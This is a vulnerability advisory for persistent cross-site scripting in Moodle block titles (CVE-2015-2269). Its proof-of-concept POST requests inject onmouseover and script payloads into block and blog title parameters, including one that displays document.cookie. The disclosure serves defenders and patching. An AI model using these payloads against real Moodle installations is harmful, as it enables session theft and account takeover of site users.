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Moodle 2.5.9/2.6.8/2.7.5/2.8.3 Block Title Handler Cross-Site Scripting Vendor: Moodle Pty Ltd Product web page: https://www.moodle.org Affected version: 2.8.3, 2.7.5, 2.6.8 and 2.5.9 Summary: Moodle is a learning platform designed to provide educators, administrators and learners with a single robust, secure and integrated system to create personalised learning environments. Desc: Moodle suffers from persistent XSS vulnerabilities. Input passed to the POST parameters 'config_title' and 'title' thru index.php, are not properly sanitized allowing the attacker to execute HTML or JS code into user's browser session on the affected site. Affected components: Blocks, Glossary, RSS and Tags. Tested on: nginx PHP/5.4.22 Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2015-5236 Advisory URL: [url]http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5236.php[/url] Vendor Advisory ID: MSA-15-0013 Vendor Advisory URL: [url]https://moodle.org/mod/forum/discuss.php?d=307383[/url] CVE ID: CVE-2015-2269 CVE URL: [url]http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2269[/url] 09.02.2015 -- Random Glossary Entry --------------------- POST [url]http://WEB/my/index.php[/url] HTTP/1.1 _qf__block_glossary_random_edit_form=1 bui_contexts=0 bui_defaultregion=side-pre bui_defaultweight=4 bui_editid=304 bui_editingatfrontpage=0 bui_pagetypepattern=my-index bui_parentcontextid=411 bui_region=side-pre bui_subpagepattern=%@NULL@% bui_visible=1 bui_weight=4 config_addentry=test config_invisible=test2 config_refresh=0 config_showconcept=1 config_title=" onmouseover=prompt("XSS1") > config_type=0 config_viewglossary=test3 mform_isexpanded_id_configheader=1 mform_isexpanded_id_onthispage=0 mform_isexpanded_id_whereheader=0 sesskey=S8TXvxdEKF submitbutton=Save changes Remote RSS Feeds ---------------- POST [url]http://WEB/my/index.php[/url] HTTP/1.1 _qf__block_rss_client_edit_form=1 bui_contexts=0 bui_defaultregion=side-pre bui_defaultweight=4 bui_editid=312 bui_editingatfrontpage=0 bui_pagetypepattern=my-index bui_parentcontextid=411 bui_region=side-pre bui_subpagepattern=%@NULL@% bui_visible=1 bui_weight=4 config_block_rss_client_show_channel_image=0 config_block_rss_client_show_channel_link=0 config_display_description=0 config_rssid=_qf__force_multiselect_submission config_rssid[]=3 config_shownumentries=11 config_title=" onmouseover=prompt("XSS2") > mform_isexpanded_id_configheader=1 mform_isexpanded_id_onthispage=0 mform_isexpanded_id_whereheader=0 sesskey=S8TXvxdEKF submitbutton=Save changes Tags ---- POST [url]http://WEB/my/index.php[/url] HTTP/1.1 _qf__block_tags_edit_form=1 bui_contexts=0 bui_defaultregion=side-pre bui_defaultweight=4 bui_editid=313 bui_editingatfrontpage=0 bui_pagetypepattern=my-index bui_parentcontextid=411 bui_region=side-pre bui_subpagepattern=%@NULL@% bui_visible=1 bui_weight=4 config_numberoftags=80 config_tagtype= config_title=Tags" onmouseover=prompt("XSS3") > mform_isexpanded_id_configheader=1 mform_isexpanded_id_onthispage=0 mform_isexpanded_id_whereheader=0 sesskey=S8TXvxdEKF submitbutton=Save changes Older not supported versions ---------------------------- POST [url]http://WEB/blog/index.php[/url] HTTP/1.1 blockaction=config filterselect=1343 filtertype=user instanceid=4992 numberoftags=20 sesskey=0QCG5LQz0Q sort=name timewithin=90 title=ZSL"><script>alert(document.cookie);</script> Source